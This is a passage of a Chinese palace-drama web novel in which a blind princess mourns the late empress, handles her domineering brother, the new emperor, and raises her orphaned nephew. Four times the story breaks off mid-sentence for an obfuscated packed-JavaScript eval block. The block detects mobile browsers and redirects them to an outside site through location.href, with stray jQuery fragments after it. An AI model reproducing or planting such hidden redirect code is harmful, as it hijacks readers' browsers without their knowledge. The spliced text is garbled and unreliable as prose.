柔妃去世后,皇后娘娘原本将周翰周嫽兄妹两人接到身边亲自照看的,结果前来的皇帝看到周嫽那张酷似母亲的脸后勃然大怒,抬手就要将她给摔死。还是皇后娘娘拼死护着周嫽,这才让她从父亲手中活下来。自那以后皇后便不敢让周嫽继续待在椒房宫了,没过多久就又把她送了回去,而身为哥哥的周翰也被要求好好照顾妹妹而被迫回到冷宫当中,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12957507|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
由此愈发厌恶这个妹妹。
两人关系的转折点发生在周嫽七岁那年。
十四岁的周翰在元宵夜里出宫游玩,周嫽那时候一直在努力讨好这个哥哥,也厚着脸皮跟了出去。却不想两人遇到了北边的汉坎那族人派来大耀的奸细,魁梧非常的独眼异族人瞪着被绑在一起兄妹俩,恶狠狠地威胁说他被他们的父亲射穿了一只眼,今日也要将他们的眼珠子给剜出来。
却不想周翰那个贪生怕死的贱人竟然将周嫽这个不过七岁的小女孩给推了出来,惊恐的周嫽哭着求男人放过她,不知道是不是因为周嫽哭得太过凄惨,在场的一个汉坎那女人动了恻隐之心,跪下来为周嫽她求情。最后虽然没有被剜去眼珠,却也被毒药毒瞎了眼,一整年都疼痛难忍。
而周翰却因为救兵来得及时,逃过了一劫。
人们口中的顺安长公主是牺牲自我拯救兄长的好妹妹,仁亲王则是因为愧疚而对胞妹百般纵容的好哥哥,但只有周嫽知道,仁亲王如今对周嫽的所有好处不过是因为周嫽乖乖听他的话,受他的掌控罢了!
“公主......”奢雪担忧的声音响起来,周嫽这才意识到自己情绪又外露了,每每想到从前和周翰的种种经历,她都会气到浑身发抖。
周嫽深呼吸掩下恨意,再次开口时已恢复了平日的和婉:“不去便不去吧,想来明赫也应付不来那样的场面。”
奢雪安慰:“小殿下冰雪聪明,待来日悉心教导,定能长成顶天立地的男子汉,公主且放心吧。”
女孩这话倒是提醒了周嫽,她吩咐:“你最近多留意京中有名望的大儒,明赫的学业也该提上日程了。”
奢雪歪着脑袋思索片刻,突然提议:“公主觉得薛国公如何?”
“薛国公?”周嫽回忆了一下这个人,“薛国公学富五车,博古通今,从前还教导过先帝,倒是个威名与才学兼得的大人物。”她幽幽叹了口气:“明赫如今无父无母,只跟着我这个姑母一起生活,从前还什么都未学过,也不知薛国公是否看得上他。”
“公主可别这么说!”奢雪是最听不得周嫽自怨自艾的,立刻反驳道:“您是先帝唯一的女儿,又是大耀最尊贵的长公主,公主名下的孩子自然也是尊贵无比,如何配不上薛国公了?”
周嫽失笑:“数你嘴滑。这些话在府里说说逗我开心便也罢了,搁外面可千万不能如此无礼,再怎么说薛国公也是长辈。”
“欸,记住了!还有——”奢雪晃了晃周嫽的手腕,笑嘻嘻道:“奢雪才不是嘴滑,实话实说罢了!”
第二日用过午饭,周嫽便同玉生一起坐上了前往皇宫的马车。
“额上的伤可好些了?”
男子尖细的声音抑扬顿挫,十分讨巧:“回公主的话,原就是不打紧的,用了您赐的金银膏,今儿更是一点痕迹都没有了。”
蓦地心念微动,周嫽缓缓抬起手向玉生的脸摸去,顺着男人流畅的面部线条向上移动,温热滑嫩的肌肤好似剥了壳的鸡蛋,在她手下轻轻颤动着。
“公主......”男人声音抖得厉害,隐隐含着只有周嫽能够听到的哭意。
“昨日是我气昏了头。”周嫽这是在解释昨天让他磕了那么久头的事。
玉生受宠若惊,慌乱间低下头去,令他心绪纷乱的手指也由此掠过他的脸颊,勾住他的发丝。他不敢伸手拂去,只是愈发恭敬道:“公主真是折煞奴才了!”
8. 第 8 章
周嫽由玉生扶着慢吞吞走进太极殿内,远远便听见一男子急切的脚步声。
“拜见陛下。”
未等周嫽屈膝见礼,周翰便匆匆走来扶住她,无奈道:“嫽儿与我之间不必多礼。”
周嫽低下头:“哥哥如今是皇帝了,嫽儿万不敢再像从前那样随意而为。”
身着明黄长袍的俊美男子目光沉沉地盯着周嫽,不过须臾便骤然一笑,霎时间整座黯淡宫殿好似拨云见日,由他所在之处光彩夺目起来。
周翰挤开玉生,亲自牵着周嫽的手将她按在殿中长椅上,而后与她亲密地坐在一起,笑道:“嫽儿可是怨我当日不肯放了那孽障?”
周嫽双目紧闭,并不言语。
周翰幽暗的视线一寸一寸滑过周嫽平易逊顺的面庞,“那就是怪我自作主张送出了苏扶楹的尸身?”男人语音含笑,好似兄妹之间的低语,然而无需细看便能发下这人脸上没有一丝笑意。
男人有如实质的目光连周嫽这个瞎子都能感受得到,她微微偏过头,姿态谦卑:“嫽儿不敢。”
周翰却是不顾周嫽的躲闪双手捧住她的脸将她转了回来,语气无辜又认真:“那孽障与他母亲一样对嫽儿图谋不轨,哥哥这么做都是为了保护嫽儿,嫽儿不领情便罢了,怎得还为了他们生哥哥的气?真是让哥哥好生心痛。”
周嫽当即冷下声:“听不懂你在说什么。”她不在乎周翰如何辱骂周明赫,但是绝不允许他说一句苏扶楹的不是。
见妹妹如此模样,周翰如何不知这是真恼了,然而她气他又如何不气?明明两人才是同胞兄妹,有着世间最为紧密的关系,结果她却整日胳膊肘往外拐向着一个疯婆子。
只听得周翰长叹一口气:“我的错,是哥哥的错,哥哥不该说先皇后的不是。”任他再多不愿也知那女人于周嫽而言非比寻常,倒不如先服了软,反正他们兄妹二人来日方长。
另一边周嫽也十分清楚自己日后还得仰仗身边这个男人而活,于是顺路下坡:“不知哥哥今日叫嫽儿来是有何要事?”
周翰发出一声轻笑,听上去洋洋得意,全然不见刚刚与周嫽拌嘴时的气恼,“后日登基大典上,我打算给嫽儿加封两郡并改赐封号,现在的顺安二字实在难听,配不上你。”
周嫽一愣,她虽预料到周翰当上皇帝后自己会得许多赏赐,却不想男人竟要在登基那日与将她与诸臣的封赏放在一起。没人不爱权力,更遑论从下在权力漩涡中长大的周嫽。
她低下头,不胜惶恐:“我有兄长庇佑已是莫大的福分,万不敢再奢求别的。”
周翰嘴上说着“顺安”二字不好,实际上却最喜欢周嫽对自己这副卑顺的模样,他满意地摸了摸女孩鬓发,柔声道:“你既是我妹妹,便也是大耀最尊贵的女人,无论什么配你都是值得的。”
周嫽很是上道地露出一副无比感激的神情,“不知哥哥为嫽儿选了什么封号?”
男人神秘一笑,握住周嫽的手掌缓慢在上面写了两个字。
“福......瑄?”她神色犹疑:“是否太过招摇了?”
周翰却是与她掌心相拍,不容拒绝道:“都说过多少遍了,什么东西配你都是值得的,莫再说些自疑的话了。”
他那一下力气使得有些大了,周嫽闭目忍住抽回手的念头,心下憎恶,面上又不得不装作感动:“是,多谢兄长。”
“另外......”周翰停顿片刻,望着姿容温婉的妹妹,“我看嫽儿表字也多有欠缺,不若趁着今日一并改了。”
周嫽被男人宽厚手掌握住的手还是没忍住抽动了一下。
她表字扶翀,“翀”字有鹏举万里,青云直上之意,乃是苏扶楹特意为她取的,除了几位亲近之人,少有人知晓。再没有人会饱含希冀地唤自己“扶翀”了。
只有苏扶楹是周嫽无法退却的底线。
周嫽神色凄凄,说出的话都忍不住带了哭意:“哥哥就非得难为嫽儿么?”未等人诡言狡辩,她出声控诉:“哥哥明知姐姐于我有知遇之恩,为何偏偏一而再再而三在姐姐之事上同我作对?带走明赫与姐姐安葬两件事便也罢了,如今连姐姐留给我的字都要夺走吗?”
说罢,她便好似再难承受心中悲苦一般掩面痛哭起来,因还念着苏扶楹,周嫽越哭越觉得自己真是可怜,其中倒也混入了几滴真眼泪。
自从周嫽失明兄妹关系好起来后,周翰最受不得女孩抹眼泪,只觉得女孩的哭声如一把刀般割在自己心头。他连忙按下种种惹人烦的念头,将人搂在怀中,不住地道歉。
待周嫽好不容易平静下来,白日已落,天色也暗了下去。于是周翰又借着后日大典图方便之由将周嫽强行留在了宫中两日,她心中百般不愿,两日过的如两年般难捱,殊不知离皇宫不过两条街的公主府里,也有个没精打采黯然伤神的人。
姑母不在公主府,周明赫自然没办法继续住在内院主殿里,好在玉生早已料到这样的情况,未免他没脸面,将内院的东厢房早早收拾了出来,是以今夜是周明赫逃离皇宫后第一次自己一个人睡觉。
像做梦一样。
骤然被告知他那位从未见过的母亲离世,到被一个凶悍的士兵压到太极殿,那一天的血腥味熏得他头都要炸了。他小心翼翼躲在柱子染红的柱子后面,惊惧不已地躲避着那个玉面修罗,连为过世母亲哭一声的勇气都没有。
那一天是周明赫短暂而潦草的人生中最绝望的一天——却也是他重获新生,终于被过去偶尔偷得的光明彻底照耀的一天——他终于离开了吃人不吐骨头的皇宫,抓住了黑暗人生中唯一的希望,来到了姑母的身边。
姑母。
深夜无人处,周明赫躺在干净暖和的被窝里,侧身而卧,面无表情地盯着坚实冰冷的墙面,漆黑沉静的眼瞳中全然不见前几日的纯真可爱。姑母若是看见了自己这副冷漠的模样,一定会吓一跳吧。
周明赫自出生起就是人人都可打骂的野种,宫女太监们不被允许与他讲话,除了每天有饭菜送过来,他在荒芜的冷朱阁活得与野兽没有区别。
其实一开始,他并不为此伤心难过,因为他什么都不懂。不知道自己是被抛弃的孩子,不知道自己野狗一样的生活方式是错的......直到遇见了一个浑身上下没有一点尘埃的女孩,那时姑母还是个小孩子,她牵着玉生的手,又毫不嫌弃地向他伸出了手,说:“我是姑母,你是明赫,周明赫。”
姑母。
这是周明赫学会的除了“野种”以外的第一个词。
从那以后那个自称是他姑母的女孩就常常来冷朱阁探望,她带来热腾腾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12957508|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的饭菜和温暖的被褥衣裳,会让横雨把他洗的和她一样干净后,温柔地抱着他讲许多话。大多时候都是讲一个叫“苏扶楹”的女人,姑母说他的母亲很爱他,亲自为他选了“明赫”这个名字,有通达显耀之意,是很好的祝愿。
每当姑母抱着周明赫讲话时,他就会闭上眼睛静静靠在她怀里,想象她的世界。
周嫽的世界一片漆黑,却给周明赫一片漆黑的世界带来了光明和希望。
周明赫翻过身正躺在柔软的床铺中,伸出一只手于半空中,什么也看不见。这就是书上说的“伸手不见五指”。
他努力辨认黑暗中非常模糊的手掌轮廓,在确认自己绝不可能分辨出来后,诡谲冰冷的脸上突然绽放了一个天真灿烂的笑容,这样的场景发生在一个九岁小儿的脸上实在恐怖吓人,妖异非常。
姑母不在府中的这两日,周明赫无趣极了。他手里攥着姑母为他做的小玩具,身后跟着一个名叫桑乔的侍女,漫无目的地在府中闲逛。
横雨是公主身边的大丫鬟,除了刚开始几日奉公主的命令亲手照顾周明赫,余下的日子便将男孩交予了桑乔专门照看。
“桑乔姐姐。”周明赫终于停下脚步,转过身仰头看向高大的女人:“姑母什么时候回来呀?”
桑乔性子沉稳寡言,闻言只是恭敬回答:“奴婢不知。”
阳光下周明赫奶白的小脸像是一团柔软的云朵,让每一个路过他们的侍女都忍不住心软。被男孩泪眼汪汪注视着的桑乔终于败下阵来,但也没有多说公主的事情,只是提议:“奴婢陪小殿下一起做游戏吧。”
在冷朱阁与周嫽相伴的短短时间让周明赫很会察言观色,他转了转小鹿一般灵动的眼睛,突然伸出手慢吞吞拉着桑乔来到路边的白玉长凳上坐下,而后亲昵地晃了晃女人的胳膊,央求:“那桑乔姐姐给我讲讲姑母的故事嘛。”
桑乔义正言辞拒绝:“奴婢不敢妄议公主殿下。”
他眨了眨眼,小声说:“那就和我夸夸姑母呀,夸人总不算妄议吧。”
桑乔不为所动:“小殿下莫要为难奴婢。”
周明赫不喜欢这个石头一样的人,她这样油盐不进的样子总会让他想起从前守在冷朱阁外面的士兵。他撇了撇嘴,终是不敢对她发脾气,于是换了个话题:“那你给我讲讲玉生公公吧?他是怎样的人?姑母为何如此喜爱玉生公公?”
桑乔硬邦邦重复:“奴婢不敢妄议玉生公公。”
周明赫一噎,又问:“那奢雪与横雨姐姐呢?她们也是你不能说的嘛?”说完,未免自己显得刻意,于是补充道:“公主府里我就识得他们几人,只是想要多了解了解他们,桑乔姐姐若是觉得为难便算了。”
“奴婢身份卑微,望小殿□□谅。”
好吧,虽然没能从桑乔那里套出来话,不过周明赫也由此更加确信玉生、奢雪与横雨三人在公主府地位极高。
“那桑乔姐姐同我讲讲你的故事总可以的吧?”周明赫撒娇:“姑母不在,我真的好无聊啊。”
闻言,桑乔沉闷的脸上终于展露一点笑言:“小殿下既觉得无趣,奴婢给您念书如何?”
周明赫愣了一下,问:“桑乔姐姐很喜欢念书吗?”
女子唇边笑意加深,“是,奴婢很喜欢念书。”
9. 第 9 章
登基大典当天,新皇要带着百官去祭拜天地、宗祠,待结束后再着衮冕礼服前往宫殿接受文武百官的参拜。这两个繁琐又累人的项目周嫽都没有资格参加,只需要在晚些颁布新法的时候当个木头人站在那里即可。
由于皇位来得不正,好听了说是先皇坏事做尽暴毙,说直白了那就是仁亲王起兵造反,杀兄夺权。因此万众瞩目的大典办得非常简单,草草一天便了事。
登基大典当天结束周嫽又在宫中待了一晚,待到第二日周翰没那么忙的时候前去拜见,请求新皇允许她在苏扶楹出殡日那天为她送葬。
男人沉默良久,最后还是答应了周嫽的请求。他的声音带着难以掩饰的疲惫,警告周嫽此事过后绝不许再提起苏扶楹,这才放她离宫。
一路上,玉生小心伺候着心气不顺的公主,只听得女子低声啜泣:“这种仰人鼻息的日子真是没完没了了!”
玉生知道她是为苏扶楹受委屈而感到委屈,瞧见女人哭他也不好受,苦口婆心劝慰:“公主现在是尊贵的福瑄长公主了,还有小殿下膝下承欢,享福的日子就在后头呢。既然不喜欢陛下,往后咱们在公主府好好过咱们的快活日子少与皇宫里的人来往便是,公主莫哭了,您哭得奴才心里难受倒是次要,可千万别哭坏了身子啊!”
他轻轻为周嫽擦去眼泪,“仁亲王以后就是陛下了,肯定不会再跟从前那样闲散,想来也不会时时管着公主了。”
周嫽失明后,周翰不知是他少得可怜的愧疚心发作还是因为与抚养妹妹的苏扶楹起了比较之心,终于一反往常对周嫽不管不问的态度,开始事无巨细地想要掌控周嫽的全部生活。要不是苏扶楹借着皇后的名义将周嫽强行留在宫中,她恐怕就被周翰那个精神不正常的男人折磨的人不人鬼不鬼了。
随着周嫽年龄的增长,周翰终于将他那神经病一样的控制欲收归心底,至少表面上像个正常的哥哥了。但只要周嫽偶尔不顺从男人的命令,他就要抱着周嫽哭天撼地大声斥责她没有良心,甚至逼迫她强行留在他的身边......
像个疯子一样——周嫽却无可奈何。
是啊,她如今躲在马车里发这些脾气又有什么用,不过是自己气自己罢了,她哪怕贵为公主,在掌握强权的男人身边还不是如同一只弱小不堪的蚂蚁,任其磋磨。
哭泣是没有用的。
周嫽从玉生手中抢过手帕擦干眼泪,将头转向男人:“我眼眶红不红?”
知道公主这是不愿让旁人知道她哭过,玉生心都要化了,柔声道:“是有些红的,公主不如先去城北的木料庄子选些木料,也能散散心。”
周嫽揉了揉太阳穴,“也好。”
钻木取火,构木为巢,一块简单的木材在匠人的精心雕刻下往往能够发挥巨大的作用,或是展现出前所未有的魅力。木工是一门手脑眼并用的技艺,需要雕刻者全身心投入,忍受长时间重复的动作,十分考验人的耐力。
周嫽刚刚失明那段时间,情绪极其不稳定,陌生的黑暗让年幼的她宛如溺水一般没有安全感,几乎是每日都在发脾气,痛的不停哭喊。苏扶楹为了周嫽能够稳下心来,特意为她找来了上好的木料和木工工具让她刻字。
在不知道手上划了多少血口子,砸了多少木料后,周嫽终于在苏扶楹的有意引导下安静下来,努力跟随木匠老师学习技术,刻出了自己木工生涯的第一个作品——是一只木簪子。
那天晚上苏扶楹抱着周嫽温柔地夸了她很久,女人坚定的鼓励让周嫽慢慢放弃了对木工的抗拒,并逐渐喜欢上了它。或许也不是喜欢,只是因为这是周嫽唯一能做的事情。
顺安——不,现在应该说是福瑄长公主了,她是城北木料庄子的常客。这家庄子还是邓宛影介绍过来的,周嫽只刚开始亲自来过一回,后面的采买便都交予横雨负责,老板见到长公主驾临万分惊异,赶忙携庄中众人前来参拜。
周嫽不过临时起意来到这里,示意众人不必多礼也切莫拘泥后,就与玉生一齐挑选着木料。
“公主,薛国公家的薛夫人与薛家小公子也在此处。”玉生跟在周嫽身侧,小声回禀。
现下时间也不早了,周嫽原以为这庄子里只有他们与店家,却不想还有两位京中贵人逗留于此。果然不过几秒,耳边便传来一夫人与一小少年的声音。
“臣妇魏氏拜见长公主。”
“夫人快请起。”周嫽微微抬手,笑道:“未曾想此时此地遇见夫人。”
魏毓英脸上笑容僵硬了一瞬,她也没能想到为了讨好这位长公主特意避着人来木料庄子,却不想直接碰上了正主。她干笑两声,硬着头皮道:“今儿个日头大,臣妇特意晚些来挑木料,倒是赶了巧有幸拜见公主,真是天大的福气。”
跟前这位妇人正是前几天与奢雪提起的那位薛国公的儿媳,周嫽有意请薛国公教导周明赫,本该离去的脚步留在原处,与女人继续寒暄:“不知夫人想选何种木料作何用处?本宫虽比不得专门匠人懂得多,却也在木工上略有研究,说不定能为夫人提上一二建议?”
周嫽这番话让魏毓英愣住,常常听家中婆婆称赞福瑄长公主品行高洁,平易近人,不曾想竟如此亲和。她顿时生出了些欺瞒人的心虚,胳膊肘捣了捣旁边突然哑巴了的小儿子,催促他赶紧说话。
玉生将这母子二人的行为姿态尽收眼底。
这妇人锦衣华服,满身珠翠,贵气逼人,言语间直率鲁莽,是个藏不住心事的。至于她身边这位小公子——
简直和他母亲一模一样。
瞧着眼前这位富贵俊公子低下了红透的脑袋,玉生心中鄙夷,又有些埋怨两人怎么直接晾了公主在那,他不动声色地移开目光,清了清嗓子刚要开口,那位躲在母亲身后的小公子突然抬起了头。
“公、公主!”薛彦猛地抬起头来,却不敢看人,闭着眼睛视死如归般喊道:“是我最
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12957509|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
近对木工颇感兴趣,因此央求母亲陪我一起来这选木料!”
场面一时陷入寂静,魏毓英不忍面对自家儿子般捂住脸,薛彦也后知后觉反应过来自己刚才喊得太大声了,他无措地望了望周围被巨大动静吸引而看过来的人们,而后视线偏转与好似看透一切的玉生对上眼,立刻恨不得找条地缝钻进去。
还是周嫽解开了僵住的局面,笑着面朝薛彦道:“这位就是薛彦薛公子吧?从前听先皇后提起过你。”
薛彦连忙正身:“正是在下,久闻福瑄长公主贤名,今日一见果真名名不虚传”
“是啊。”魏毓英在一旁附和:“从前总听人说公主闻融敦厚,博施济众,只是您常居深宫陪伴先皇后,京中多少命妇贵女都盼着能一睹公主芳容呢。”
周嫽似是对女人的夸耀很不好意思般低下了头:“妇人谬赞。”
大概是周嫽这样生动的神情驱散了魏毓英心底那点惧意,又或者她本就是个没心眼的,好声好气劝道:“依妾身看,公主何苦总将自己闷在屋子里,这样长久下来也于您的玉体不利啊,倒不如多与京中命妇小姐们之间走动,也作是交些朋友了,散散心。”
这可真是打了瞌睡送枕头,周嫽顺势伸出一只手由魏毓英扶着,一行人边走边说:“夫人说的极是。从前先皇后身子不好,我常常在宫中照料,倒是与外面的姐妹夫人们生分了。只是这几日皇宫那边有些忙了,我总抽不开身。不如这样,等过几日选一天朗气清的好时间,我在公主府办一场赏菊宴,就当是与大家认识认识了。”
说罢,她又言语亲昵道:“这主意是夫人提醒的,届时夫人务必前来,还要为我这个什么都不懂得的毛孩子帮衬一二。”
魏毓英受宠若惊,万万想不到自己不过随口一提便被女孩如此放在心上,连忙恭敬应下,语音激动:“是,妾身不胜荣幸。”
周嫽与那薛小公子共同选了几块木料,待天色渐晚后便驱车回府。
刚刚踏入内院,周嫽就听见一沉稳有力的女声在念书,咬字清晰,节奏适当,几个人言被她念的情绪饱满,音色分明。周嫽偏头问玉生:“是谁在念书?”
“回公主,是前几日派给小殿下的大侍女桑乔正在院中给小殿下念书呢。”
周嫽沉吟片刻,走过去。
周明赫正聚精会神听书里的故事,直到念书的人突然停下起身,对着他身后见礼,他才反应过来姑母回来了。
“姑母!”周明赫连忙放下玩具奔向灯火黯淡处的女人,搂住她的腰,“姑母我想你了!”
不过三天时间没见,这孩子变得愈发粘人了,周嫽甚至觉得他还长高了,她笑着摸了摸男孩柔软的发顶:“姑母也想明赫了。”
被小男孩拉着进屋,路过静立一旁的女子时,周嫽停下来,温声道:“书念的不错,今天晚上也来给我们念会儿书吧。”
桑乔喜不胜收,连忙应下:“是,公主!”
10. 第 10 章
公主府的下人们不说身怀绝技多才多艺,但只要出了府去,那个个都是被捧着的文化人。原因无他,只因公主目不能视。
福瑄长公主当真是温柔又善解人意的主人,自己看不到,却并不因此迁怒他人,反而鼓励府上的侍女们识字读书,以后好念书给她听。
桑乔正是把握住了这个机会,每日下了班就在房中苦读,为的就是有朝一日能够站在公主面前为她念书。不敢奢求就此飞黄腾达,只愿尽力往上爬,离那位大耀最尊贵的女人近些,再近些。
而如今这个愿望竟然真的实现了。
给公主与小殿下念书后的第二天早上,桑乔就开开心心回到自己住的地方开始收拾行李。同住的小姑娘迷迷瞪瞪醒过来看到她的动静,瞌睡都吓没了,惊道:“你这是要住小殿下院子里去了?”她很喜欢这位姐姐,若是她走了,自己就得跟其他不认识的女孩住了。
桑乔一大早精神满满,充满了干劲。她面色红润地摇摇头,将最后一件衣服放进去打包好,扭头微笑着看向还抱着被子的女孩:“我要去幼女院干活了,是当女夫子。”
女孩更惊讶了:“女夫子?”她连忙爬过去拽住桑乔的小臂,不可置信地重复:“女夫子?”
桑乔脸上笑意更浓,变戏法一般从身后掏出一碟点心递到下巴都要掉在地上的女孩面前,“这是昨晚上公主赏赐的,我特意给你留下来,你吃完吧。”
女孩呆愣地接过,喃喃自语:“我......你待我可真好。”
桑乔一向性子沉闷,也只要在这个同住的女孩面前要活泼一下,她真诚建议:“想涨工钱就得向上爬,想向上爬就得在公主面前多露脸,如此才是你我生存良计。”
女孩松开攥住桑乔衣袖的那只手,一下子坐在床上,将模样精巧的点心紧紧抱在怀中,撇了撇嘴:“我又不比你,不识得那么多字,怕是到了公主面前也是捧着书闹笑话。”说完,她找补一般辩解:“再说了,公主心善,先不论在外面好比富贵人家小姐一般的奢雪与横雨两位姑姑,便是我这种小侍女待遇也是极好的,我已经很满足了。”
这女孩名叫伍仙,不同于奢雪桑乔这些从皇宫里跟着周嫽出来的侍女,她是公主府建成后,横雨从外面买来的丫鬟。因此面对公主,她心里还是敬畏居多。
人各有志,桑乔既然识了字便不愿再继续屈居人下跟着小奶娃做些脏活累活,她虽然自己走了这么一条路,却也不会按着别人的头非得让别人跟自己走一样的路。见女孩确实无意高升,她也没再多说什么,与她含泪告别后就离开公主府,前往了一墙之隔的幼女院。
苏扶楹下葬那日,周嫽还是带着小明赫来到了路过的茶楼上坐了一整天。
这葬礼十分简单,甚至除去相关亲戚族人,城中人并不知晓那引灵车上抬得就是他们口口称赞的先皇后。
手中香茶已然冷了下去,周嫽闭目静坐于窗边,瑟瑟秋风拂过她的鬓发,温柔地好似故人在轻抚她残缺的眉眼。
贴紧杯壁的指尖逐渐泛白,害怕苏扶楹放心不下自己,周嫽强忍住心中悲恸,将各种哀思拌着眼泪尽数咽回去。她缓缓摸起桌上的酒盏,一杯酒因为抖个不停的手几乎全部倾洒出去,神思恍惚间,好似有灵幡随风鼓动的声音回荡在耳边。
“啪——”酒盏摔落在地。
周嫽像是再也无法忍受这一切般埋首在玉生怀中,失声痛哭。
为何上天如此不公,连苏扶楹那样善良高洁的女子都要经受非人的苦难,早早离世,偏留下那些道貌岸然卑鄙无耻之徒在世间逍遥快活!
又凭什么她此时此刻,只能躲在远处的茶楼里,像个见不得光的老鼠一样卑微地望着苏扶楹的灵车,连上前悼念一句都无法!
周嫽深深埋在玉生怀中,痛苦地捂住双眼——泪水像断了线的珠子不断从她的指缝溢出,顺着衣襟滚落在胸口,一滴一滴好似把她的心给敲碎。
好疼啊,她的眼好疼啊。
周嫽甚至没有办法尽情地哭出来,只因为这双让她受尽屈辱的瞎眼!可笑的是她还要每日对着弄瞎她眼睛的亲哥哥卑躬屈膝曲意逢迎!
回忆里苏扶楹握着她的手缓缓写下“扶翀”二字的那个雨夜,女人温柔的声音犹在耳畔回荡:“扶翀,以后叫你扶翀吧。这才是你该有的名字,像翱翔天际的雌鹰一般勇往直前,自由自在......而不是像我一样终生只能挣扎于男人的手掌中。”
人人都说曾经名满京城的苏家大小姐苏扶楹已经深陷泥沼,再不复往日的纯洁高贵,殊不知他们正是令她痛不欲生自缢而亡的泥沼啊!
苏扶楹哪怕背上不守礼教和疯妇的骂名也不愿向囚困她的牢笼屈服,她像只金丝雀一般被男人玩弄股掌之中,而周嫽就是她在黯淡无光的日子里所见到的唯一光源。她将自己所有美好的希冀全部寄托在周嫽的身上,就像亲自取了“扶翀”这个表字一样,这又何尝不是她的愿望?
——逃离深宫,再不受任何束缚地飞往无人知晓的远方。
念及过去种种,女人的音容笑貌仍旧刻印在脑海,一遍又一遍提醒周嫽她们所受的苦楚。她哭了很久,直到再也听不到楼下的哭丧声,才从玉生怀中起来。
周嫽眼前一片漆黑,但她的心始终如火炬一般明亮。
她抬手倔强地抹去眼泪,前所未有的信念在她心底生根发芽——苏扶楹触及不到的未来她会到达。从今往后,无论这条路多么困难,周嫽都会带着“扶翀”这个名字——带着苏扶楹永不屈服的意志向前走,一步一步攀越所有的艰难险阻,最终于群山之巅展翅高飞。
葬礼结束没多久,朝廷对于周明赫的归宿也表了态,最终决定封他为世子,由福瑄大长公主留在身边抚养。由周嫽带着领下朝廷的旨意,公主府上上下下百来人无一不松了一口气。
新皇敏感多疑睚眦必报,没杀死周明赫这个“先皇唯一的血脉”就已经足够宽容了,如今还昭告天下封他为世子,享亲王礼,想来也是为了弥补他当初大开杀戒的过错,让世人觉得他还算个宽宏大量的好皇帝。
亲情对从小浸泡在权力漩涡中的皇室之人来说根本不值一提,在利益面前,任何看似重要的东西都不过是镜中花水中月。别看前几日周翰一口一个“孽障”好像多么厌恶周明赫,今日为了自己的好名声,倒也利落地装起了大度叔父的模样。
周嫽不希望苏扶楹的孩子也成为她父亲以及两个哥哥那样的人。
等到苏家这场掩人耳目的丧葬礼过后几日,她带着男孩偷偷来到苏扶楹墓前,两人跪在地上完完整整磕了三个头,又正式为女人祭了酒以示悼念。
周嫽不是个话多的人,更不会将自己心底对于苏扶楹的复杂感情当着一个孩子的面拿出来反复讲,只是拉着周明赫断断续续向女人说了许多关于男孩的事。
小明赫向来乖巧懂事,虽从未见过这位神秘的亲生母亲,心里却十分敬重仰慕她。他安静地跪在姑母身边,沉默地盯着墓碑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993518|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上的几个字。
这里是京城苏家的墓地,苏扶楹的墓碑藏在最角落处,秋日冷风袭来更显寒凉。周明赫不动声色往后面挪了挪,努力挺直腰板拔高身子,为旁边闭着眼睛的女人挡去冷风。
只是他身子骨实在过于瘦弱,哪怕拼尽全力也不过到达女人肩头。正在此时,无言观看这一幕的玉生静静移动到一大一小两位主子身后。
周明赫下意识撇过去,却被男人狠狠瞪了一眼,他也知道这样的场合需得打起十二分精神,赶忙不在瞧他,回过头去与姑母一起悼念亡人。
几人就这么在这里从晌午待到了夕阳西下,跪得腿酸脚麻的周嫽终于由玉生搀扶着站起来。周明赫最后深深望了一眼埋葬着生母的坟墓,他虽然懂得不多,却能看出来姑母十分信任依赖母亲。
或许最初接近讨好那个时不时来冷朱阁探望的盲眼女孩是带着别样心思,可如今,姑母待周明赫每一点一滴的好,他都深深记在心底。
周明赫暗自在心中向还未见过也再也不会见到的母亲发誓:从今往后,他一定会代替她陪在姑母身边,拼尽全力去守护姑母。
回到马车上,玉生将温热的茶水递给女人,“公主,喝些热茶暖暖身子吧。”说罢,又轻柔地为她按捏双膝。
